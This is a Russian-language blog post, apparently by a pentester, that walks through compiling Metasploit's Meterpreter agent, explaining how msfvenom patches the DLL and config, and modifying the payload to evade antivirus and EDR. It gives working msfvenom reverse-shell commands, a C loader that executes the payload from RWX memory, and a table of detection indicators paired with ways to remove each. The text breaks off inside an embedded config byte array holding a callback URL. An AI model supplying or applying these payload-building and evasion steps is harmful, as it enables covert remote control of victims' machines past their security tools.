сломал метасплоит :)

сломал метасплоит :)

Введение

С момента написания предыдущий статьи прошло больше полугода. В ней была показана генерация реверс-шелла через метасплоит, его обертка в exe-файл и способы обхода AV. В этой же статье будет схожая активность, но не с простым реверс-шеллом, а с настоящим метерпретером.

Материала будет больше — сначала я кратко напомню необходимую базу про метерпретер и метасплоит, покажу что и как делает msfvenom при генерации нагрузки, что собирается в итоге и на что смотрит антивирус, с примерами и комментариями. Поехали!

Дисклеймер

Существуют нормативно-правовые акты, запрещающие создание, распространение, копирование и иную активность, связанную с вредоносным ПО с целями получения несанкционированного доступа, и т.д. и т.п. Данный пост нацелен на повышение осведомленности и углубленного понимания принципов работы СЗИ.

0x00> Почему опять метерпретер?

О нём написано очень много постов, гайдов, видеоуроков и статьей, да и я не остался в стороне, и написал про него в предыдущем посте :)

Но вот вопрос, если работа с шеллкодом реверс шелла интуитивно понятна, то как, вместо него, таким же способом (копируют код на место NOP-инструкций в exe файле) создают нагрузки метерпретера? Это же не позиционно независимый машинный ассемблерный код, а целая DLL-библиотека.

Может я, конечно, плохо искал, но не нашел про это ни постов, ни статей, ни видеоуроков, только общее описание в официальной доке. Во всех остальных гайдах с ним работают, как с некой абстракцией, пишут свои “надстройки” — лоадеры, пакеры и энкодеры над нагрузкой, сгенерированной через msfvenom, не углубляясь в концепцию его работы. Это побудило меня изучить исходники, поэкспериментировать и написать данный пост, не обошлось и без подводных камней. Далее я пройдусь по внутренней кухне метасплоита и метерпретера, покажу, как собрать нагрузку, контролируя каждый этап. В конце порассуждаю на тему его детекта антивирусами и EDR-ами и, собственно, покажу PoC с пропатченной нагрузкой.

0x01> Компилируем свой metsrv

Основным его компонентом метерпретера является metsrv — агент в виде DLL-библиотеки, который содержит в себе экспортируемую функцию для техники Reflected DLL Injection, с помощью которой он и загружает DLL в память.

Базовая команда для создания исполняемого файла, все её знают, вс делали:

msfvenom -p windows/x64/meterpreter_reverse_tcp -f exe -o /tmp/payload.exe

Meterpreter, можно сказать, является прародителем всех C2-фреймворков. В нём есть весь необходимый функционал для управления и эксплуатации. Единственное, чего на мой взгляд ему не хватает — это работы в режиме маячка, с прерывистым трафиком и временными задержками. В остальном это отличный агент для удаленного управления, который активно обновляется с 2003 года и по сей день. Давайте же скомпилируем его.

Для этого нам понадобится:

  • Visual Studio
  • Platform Toolset VS 2017 (v141)
  • Git
  1. Клонируем репозиторий
1# клонируем репу
2git clone https://github.com/rapid7/metasploit-payloads
3# переключаемся на последнюю на текущий момент стабильную версию
4git checkout tags/2.0.222
5
6# Загружаем внешние [***репы-зависимости***](https://github.com/rapid7/metasploit-payloads/blob/v2.0.222/.gitmodules) (в частности, ReflectiveDllInjection, mimikatz, COFFLoader)
7git submodule init
8git submodule update
  1. Ставим необходимый тулсет - v141 и SDK (в принципе можно любую 10.*)

Опции для компилятора

Опции для компилятора

  1. И компилируем в Visual Studio проект metsrv. Остальные проекты — это под модули, они подгружаются динамически с сервера после создания сессии (например, при вводе getsystem). Они уже скомпилированы и лежат внутри метасплоита: /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/metasploit-payloads-2.0.189/data/meterpreter

Компиляция metsrv

Компиляция metsrv

Альтернативный способ сборки — использовать mingw. Rapid7 любезно предоставили docker-образ с набором всех необходимых инструментов. Можно собирать и на хостовой машине, но даже в документации советуют этого не делать, будет много проблем с настройкой зависимостей.

1$> make docker-x64

Будем использовать способ с Visual Studio. На выходе получился файл metsrv.x64.dll

troubleshooting

  • Компилятор MSVC может ругаться на дублирование структуры. Решение простое - закомментировать объявление структуры в том месте, на которое показывает компилятор.
  • В конфигурации компилятора установлена опция определения Threat Warnings As Errors. Её нужно отключить:

Изменение опции Threat Warnings As Errors

Изменение опции Threat Warnings As Errors

0x02> Углубляемся в msfvenom

Metasploit Framework не просто так называется фреймворком. Это огромный проект, со сложной структурой классов и обширным функционалом. Он не останавливается лишь на выполнении подготовленных эксплоитов и генерации реверс-шеллов. Под капотом он имеет много кода, который можно импортировать в свои проекты, не используя консоль метасплоита напрямую. Этот код хорошо закомментирован и имеет автоматическую документацию, которая, почему то, не гуглится с первого запроса. Вот она: docs.metasploit.com/api/

Приведу несколько нестандартных примеров использования метасплоита:

  • Библиотека для работа с asm-кодом
  • Библиотеки шифрования на C
  • Кодирование и шифрование любого шеллкода
  • Управление проектами по пентесту прямо в метасплоите
  • Фреймворк🤯 для написания своих эксплоитов, сетевых сканеров, нагрузок, etc.

msfvenom по сути является исполняемым ruby скриптом. Он не является частью ядра метасплоита, он его использует.

Мы же остановимся на функционале генерации метерпретера без упаковки в exe (напишем свою) и без применения энкодеров. Далее будет длинный путь изучения классов и функций, используемых для генерации нагрузки, и много ссылок на код, крепитесь :)

Изучение кода

Посмотрим, с чего всё выполнение после ввода команды: msfvenom -p windows/x64/meterpreter_reverse_tcp -f raw -o /tmp/payload.dll LHOST=10.0.0.2 LPORT=1337

Сначала msfvenom создает объект класса PayloadGenerator, который генерирует полезную нагрузку

 1<SNIP>
 2
 3begin
 4  # Создается объект класса Msf::PayloadGenerator с передачей всех
 5  #   введеннных пользователем аргументов, в частности, **--payload**
 6  venom_generator = Msf::PayloadGenerator.new(generator_opts)
 7  # Далее конечный результат записывается в raw-виде в переменную payload
 8  payload = venom_generator.generate_payload
 9  
10<SNIP>
11
12	# Если мы не указали файл вывода аргументов -o, то содержимое payload идет в поток вывода (в консоль)
13	output_stream = $stdout
14  output_stream.binmode
15  output_stream.write payload
16  # trailing newline for pretty output
17  $stderr.puts unless payload =~ /\n$/

Класс Msf::PayloadGenerator отвечает за вызов функции для генерации сырой нагрузки и применения к ней форматов (имею в виду ключ –format) и энкодеров.

При вводе -p windows/x64/meterpreter_reverse_tcp мы указываем относительный путь, в котором лежит .rb файл, в нашем случае, файл meterpreter_reverse_tcp.rb

 1module MetasploitModule
 2
 3	<SNIP>
 4
 5# Метод generate, собственно, и генерирует саму полузную нагрузку. В данном случае она
 6#   вызывает две функции, stage_meterpreter и generate_config. Последняя описана
 7#   потом, а первая объявлена в другом месте, про неё далее
 8def generate(opts = {})
 9  opts[:stageless] = true
10  stage_meterpreter(opts) + generate_config(opts)
11end
12
13	<SNIP>
14
15# Это очень важный метод, который указывает наш конфиг, в частности, заданный LHOST
16#   и LPORT. Более подробно расскажу про него ближе к концу
17def generate_config(opts = {})
18	<SNIP>
19end

Подошли к низкоуровневой части, отвечающей за генерацию непосредственно DLL. Там описан метод stage_meterpreter:

 1  # Метод генерирует и возвращает пропатченную metsrv.x64.dll, которую мы компилировали
 2  #   на шаге 0x01
 3  def stage_meterpreter(opts={})
 4    ds = opts[:datastore] || datastore
 5    debug_build = ds['MeterpreterDebugBuild']
 6    
 7    # load_rdi_dll читает прекомпилированный заранее metsrv.x64.dll и помимо него возвращает
 8    #   адрес ReflectiveLoader, той самой, из техники Reflective DLL Injection
 9    
10    # Пока, что dll никак не меняется и не маппится по секциям, как это
11    #    было бы при её загрузке в память
12    dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll', debug: debug_build))
13
14		# ( ͡° ͜ʖ ͡° )
15		# Ассемблер. Про него далее
16		# Тут указываются адрес к ReflectiveLoader, полученный только что и размер нашей dll
17		# В bootstrap записывается некий машинный код
18    asm_opts = {
19      rdi_offset: offset,
20      length:     dll.length,
21      stageless:  opts[:stageless] == true
22    }
23    asm = asm_invoke_metsrv(asm_opts)
24    bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
25
26    # Идет проверка размера нашего бутстрапа
27    if bootstrap.length > 62
28      raise RuntimeError, "Meterpreter loader (x64) generated an oversized bootstrap!"
29    end
30
31    # И на последнем этапе патчится наша ранее загруженная dll
32    dll[ 0, bootstrap.length ] = bootstrap
33
34    dll
35  end

Всё, что делает load_rdi_dll, это читает файл metsrv.x64.dll, находящийся по пути /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/metasploit-payloads-2.0.189/data/meterpreter/metsrv.x64.dll и считает offset до ранее упомянутой экспортируемой функции. Кстати, этот файл зашифрован алгоритмом AES, а load_rdi_dll его расшифровывает встроенный в этот же файл ключом. И после чего идёт замена начала dll на сгенерированный машинный код.

Этот код очень важен. Он используется для передачи управления функции ReflectiveLoader с дальнейшей загрущкой metsrv.dll, без него ничего работать не будет.

Metasploit использует внешнюю зависимость Metasm, которая работает с компиляцией ассемблерного кода. Вот этот bootstrap-код с комментариями:

 1  def asm_invoke_metsrv(opts={})
 2    asm = %Q^
 3          pop r10               ; 'MZ' = "pop r10". Авторы сделали хитрость, оставив магические байты MZ, при этом делая код исполняемым.
 4          push r10              ; Обратно пушим r10, так как мы только что его попили.
 5          
 6          push rbp              ; Эти три строчки будут знакомы реверсерам. Это стандартное соглашение о вызовах после вызова функции инструкцией call.
 7          mov rbp, rsp          ; 
 8          sub rsp, 32           ; Выделение 32 байт в стеке для аргументов функций (в нашем случае, просто 32 байта в стеке).
 9          
10          and rsp, ~0xF         ; Ensure RSP is 16 byte aligned. Тут я, к сожалению не совсем понял, для чего это нужно. Комментариев не дам
11        
12          call $+5              ; Хитрый способ получить адрес следующий инструкции.
13                                ;   Её машинный код *e8 00 00 00 00*, что означает перейти к выполнению следующей
14                                ;   инструкции. Но наряду с этим в стек записывается
15                                ;   адрес положения этой инструкции в памяти. Интересный приём
16          
17          pop rbx               ; Забираем этот адрес из стека в rbx
18
19          ; Сюда конкатенируется адрес ReflectiveLoader, ранее найденный функцией load_rdi_dll, 
20          ;   и вычитается из этого значения 0x15, так как все предыдущие инструкции
21          ;   занимают ровно 15 байт. Таким образом мы узнали адрес ReflectiveLoader относительно
22          ;   адресного пространства процесса, в котором находимся.
23          add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x15)}
24          
25          call rbx              ; Вызываем только что найденный ReflectedLoader. 
26          
27        ; После того, как ReflectedLoader рефлективно загрузил metsrv.x64.dll в память, мы
28        ;   можем наконец вызвать DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr), которая
29        ;   в свою очередь запускает сессию meterpreter. В аргументах DllMain есть небольшие изменения
30        ;   по сравнению со стандартной функцией DllMain в любой другой библиотеке:
31        
32        ; DLL_METASPLOIT_ATTACH - это константа, равная 0x04, обозначающая, что DllMain
33        ;   запущена этим bootstrap-кодом, а не каким-либо другим образом (например, через LoadLibraryA)
34        
35        ; На месте config_ptr обычно стоит lpvReserved, который зарезервирован для внутренних функций, 
36        ;   однако, meterpreter использует его в своих целях - туда передается config_ptr,
37        ;   указатель на структуру конфигурации метерпретера. Подробнее про неё далее
38        
39        ; offset from ReflectiveLoader() to the end of the DLL
40          add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
41    ^
42
43    unless opts[:stageless] || opts[:force_write_handle] == true
44      asm << %Q^
45          ; Первый элемент конфига. Meterpreter умеет использовать уже созданные сокеты,
46          ;   например, при создании стейджера, он будет повторно использовать
47          ;   тот сокет, ко которому была загружена его же нагрузка. В нашем случае
48          ;   такого нет, поле будет заполнено нулями.
49          mov [rbx], rdi
50      ^
51    end
52
53    asm << %Q^
54          
55          mov r8, rbx           ; По соглашению о вызовах функций Microsoft в архитектуре x64 в третий параметр
56											          ;   передается config_ptr.
57          
58          ; 4 - это константа DLL_METASPLOIT_ATTACH. Второй параметр
59          push 4           
60          pop rdx
61          
62          ; Наконец, управление передается DllMain. Дальше работает metsrv
63          call rax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
64    ^
65  end

Весь этот ассемблерный код компилируется и заменяет DOS заголовок (тот, который пишет This program cannot be run in DOS mode при запуске exe на системе DOS).

Сравнение оригинальной и измененной metsrv.dll

Сравнение оригинальной и измененной metsrv.dll

Напомню, что это всё делает метод stage_meterpreter. Осталась последняя деталь, которую добавляет msfvenom — это создание конфига, в том числе передача параметров LHOST и LPORT.

1def generate(opts = {})
2  opts[:stageless] = true
3  stage_meterpreter(opts) + [***generate_config(opts)*](https://github.com/rapid7/metasploit-framework/blob/v4.11.7/lib/rex/payloads/meterpreter/config.rb#L137)**
4end

Общая идея и структура конфигурации описана в документации.

Конфиг метерпретера — это структура, содержащая в себе используемый сетевой протокол и конфиг, загружаемые модули, UUID и GUID. Полная структура описана тут.

Вот его основная часть:

 1typedef wchar_t CHARTYPE;
 2typedef unsigned __int64 UINT_PTR, * PUINT_PTR;
 3
 4// Размер UUID
 5#define UUID_SIZE 16
 6
 7// максимальный размер URL
 8#define URL_SIZE 512 
 9
10typedef struct _MetsrvConfig
11{
12    MetsrvSession session;
13    
14    // Оставлю тут оригинальные комментарии разработчиков. под extentions понимаются
15    //   модули. Их можно подгружать сразу при компиляции нагрузки, а не динамически.
16    //   В нашем случае их нет.
17    MetsrvTransportCommon transports[1];  ///! Placeholder for 0 or more transports
18    // Extensions will appear after this
19    // After extensions, we get a list of extension initialisers
20    // <name of extension>\x00<datasize><data>
21    // <name of extension>\x00<datasize><data>
22    // \x00
23} MetsrvConfig;
24
25typedef struct _MetsrvSession
26{
27	union
28	{
29		UINT_PTR handle;
30		BYTE padding[8];
31	} comms_handle;                       ///! Socket/handle for communications (if there is one).
32	DWORD exit_func;                      ///! Функция выхода - это функция, выполняемая после завершения сессии
33	int expiry;                           ///! Время до завершения сессии
34	BYTE uuid[UUID_SIZE];                 ///! *[Ссылка на документацию](https://docs.metasploit.com/docs/using-metasploit/intermediate/payload-uuid.html)*. Это не просто случайно значение. В UUID закодирована архитектура и временная метка создания.
35	BYTE session_guid[sizeof(GUID)];      ///! Просто случайный GUID. По умолчанию обнулён
36#ifdef DEBUGTRACE
37	CHARTYPE log_path[LOG_PATH_SIZE];      ///! Путь до лог-файла при дебаг-режиме. У нас такого нет.
38#endif
39} MetsrvSession;
40
41typedef struct _MetsrvTransportCommon
42{
43	// Тут тоже оставлю оригинальные комментарии
44	CHARTYPE url[URL_SIZE];               ///! Transport url:  scheme://host:port/URI
45	int comms_timeout;                    ///! Number of sessions to wait for a new packet.
46	int retry_total;                      ///! Total seconds to retry comms for.
47	int retry_wait;                       ///! Seconds to wait between reconnects.
48} MetsrvTransportCommon;

Конфиг идет сразу после dll. Вот так он выглядит внутри нагрузки:

Конфиг нагрузки

Конфиг нагрузки

Тут видно наш IP адрес с портом, указанные через LHOST и LPORT. Они записаны в виде URL tcp://192.168.1.72:4444. Можно также заметить, что размер, выделенный под этот url равен 1024 байта. Это нужно на случай, если мы захотим поменять tcp на http и добавить внутрь get-параметра случайный набор данных (через переменную LURI). Байты FF FF FF FF в конце отдельно добавляются функцией generate_config.

После того, как мы скомпилировали свою dll и поняли, как её преобразует msfvenom, её можно запустить любым удобным для нас способом. Для примера, покажу через выделение VirtualAlloc с правами RWX (эта же техника используется при использовании формата -f exe в msfvenom)

 1struct Shellcode {
 2    byte* data;
 3    DWORD len;
 4};
 5
 6// Выделяем память с правами RWX и передаём ей управление
 7void Execute(Shellcode shellcode) {
 8	void* exec = VirtualAlloc(0, shellcode.len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 9	memcpy(exec, shellcode.data, shellcode.len);
10	((void(*)())exec)();
11}
12
13int main() {
14    HANDLE hFile = CreateFileA("payload.dll", <SNIP>);
15    // Получаем размер файла
16    DWORD fileSize = GetFileSize(hFile, NULL);
17    // Выделяем буфер под размер файла
18    char* buffer = (char*)malloc(fileSize);
19
20    DWORD bytesRead;
21    BOOL success = ReadFile(hFile, buffer, fileSize, &bytesRead, NULL);
22    Shellcode shellcode;
23    shellcode.data = (byte*) buffer;
24    shellcode.len = fileSize;
25	  Execute(shellcode);
26	return 0;
27}

Таким образом, полный путь от генерации нагрузки до её запуска в виде exe-файла следующий:

  1. Компилируем metsrv.dll
  2. Добавляем конфигурацию в конец файла
  3. Меняем DOS-заголовок на сгенерированный bootstrap-код.
  4. Пишем свой загрузчик для созданной нагрузки
  5. Запускаем

Наконец, настало время поиграть с антивирусами.

0x03> Ищем IOCи

Теперь мы имеем понимание каждого этапа сборки продвинутой полезной нагрузки Meterpreter, а значит, можем начать анализ его IOCов. Рассмотрим выходной payload.dll и попробуем предположить, какие индикаторы компрометации создал Metasploit после патчинга DLL:

Описание Решение
1 Далеко ходить не надо — с первого же байта можно увидеть строку MZARUH, которая считается индикатором техники RDI. Как было показано выше, MZARUH является частью bootstrap-кода. А так как весь bootstrap-код идентичен для любой нагрузки, это значит, что этот код является отличным индикатором компрометации. Изменить bootstrap-код. На ресурсе ShellStorm есть много примеров для практики, но есть загвоздка — по-хорошему магические байты MZ тоже нужно убрать, но их использует ReflectiveLoader для определения своего относительного адреса в памяти.
2 Опустимся в самый низ файла и увидим там конфиг в открытом виде, в частности, tcp://192.168.1.72:4444. Ну красота. В памяти это будет лежать в открытом виде, даже если обфусцировать саму нагрузку. Писать обфускацию. Думаю, простого XOR блока конфигурации будет достаточно. Правда, тогда в местах прочтения данных нужно дописать декодер
3 Техника Reflected DLL Injection Тоже имеет свои индикаторы. Даже при том, что название экспортируемой функции не ReflectiveLoader (оно удалено на процессе компиляции, используется доступ по порядковому номеру 1. Сама эта функция имеет ряд сигнатур, которые в совокупности могут служить индикатором Найти такие индикаторы и пропатчить код.
4 Техника запуска кода через выделение памяти с параметрами доступа RWX не актуальна уже примерно всегда. При этом в нашем случае она отрабатывает дважды. Первый раз в моём лоадере. Второй раз в процессе выполнения ReflectiveLoader в самом метерпретере. Это один из основных индикаторов — EDR, при виде VirtualAlloc с константой PAGE_EXECUTE_READWRITE если не заблокирует, то точно просканирует эту область памяти. Менять технику. К примеру, использовать технику создания двух дескрипторов на один участок памяти, один с правами RW, второй - с RX. У меня есть небольшой PoC для этого.
5 Также в метерпретере используется техника хеширования WinAPI функций. Проблема в том, что алгоритм хеширования также одинаковый в каждой сгенерированной нагрузке, а значит, все хеши хорошо известны. Изменить алгоритм хеширования. На самом деле это не так сложно, как звучит. *Алгоритм хеширования* очень простой. Достаточно изменить и пересчитать все необходимые хеши.
6 Внутри исходников захардкожены шеллкоды внедрения нагрузки в процессы. Вот они Как и со всеми шеллкодами, нужно их менять. Предположу, что изменения даже нескольких байтов хватит для обхода сигнатур.

В теории задача выполнима, но потребует времени. В отдаленном светлом будущем я возможно этим займусь, но сейчас есть другой способ, более легкий, но отлично подходящий для изучения работы нагрузки.

0x04> Форкаем метерпретер

Как я уже не раз упомянал, ядро метерпретера — это metsrv.dll, библиотека, которая загружается в память и выполняется с помощью RDI . Основной смысл такого формата заключается в относительно простом способе внедрения кода в процессы ОС (а не только в созданный нами). Если же мы хотим запускать нагрузку через exe-файл, то к чему выполнять все манипуляции через RDI?

Почему бы не изменить формат скомпилированного файла сразу на exe, и, не напрягаясь, избавиться таким образом сразу от нескольких приведенных индикаторов.

Давайте так и сделаем. Для этого нужно изменить формат в свойствах проекта:

Изменение Contiguration Type

Изменение Contiguration Type

Добавить точку входа WinMain и закомментировать DllMain в metsrv.c

 1#ifdef CUSTOMEXE
 2int WinMain() {
 3	
 4	// Это тот самый конфиг в бинарном виде из конца файла, сгенерированного из meter_reverse_http
 5	byte raw_config[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0xB5, 0xA2, 0x56, 0x80, 0x3A, 0x09, 0x00, 0x59, 0x25, 0xC3, 0xA8, 0x79, 0x04, 0xB2, 0x76, 0xDB, 0x26, 0xDA, 0x24, 0xB3, 0x53, 0xBB, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x00, 0x74, 0x00, 0x74, 0x00, 0x70, 0x00, 0x3A, 0x00, 0x2F, 0x00, 0x2F, 0x00, 0x31, 0x00, 0x39, 0x00, 0x32, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x36, 0x00, 0x38, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x37, 0x00, 0x32, 0x00, 0x3A, 0x00, 0x38, 0x00, 0x30, 0x00, 0x38, 0x00, 0x30, 0x00, 0x2F, 0x00, 0x57, 0x00, 0x53, 0x00, 0x58, 0x00, 0x44, 0x00, 0x71, 0x00, 0x48, 0x00, 0x6B, 0x00, 0x45, 0x00, 0x73, 0x00, 0x6E, 0x00, 0x62, 0x00, 0x62, 0x00, 0x4A, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x6B, 0x00, 0x73, 0x00, 0x31, 0x00, 0x4F, 0x00, 0x37, 0x00, 0x4B, 0x00, 0x41, 0x00, 0x4F, 0x00, 0x7A, 0x00, 0x65, 0x00, 0x39, 0x00, 0x71, 0x00, 0x58, 0x00, 0x6A, 0x00, 0x5A, 0x00, 0x57, 0x00, 0x72, 0x00, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 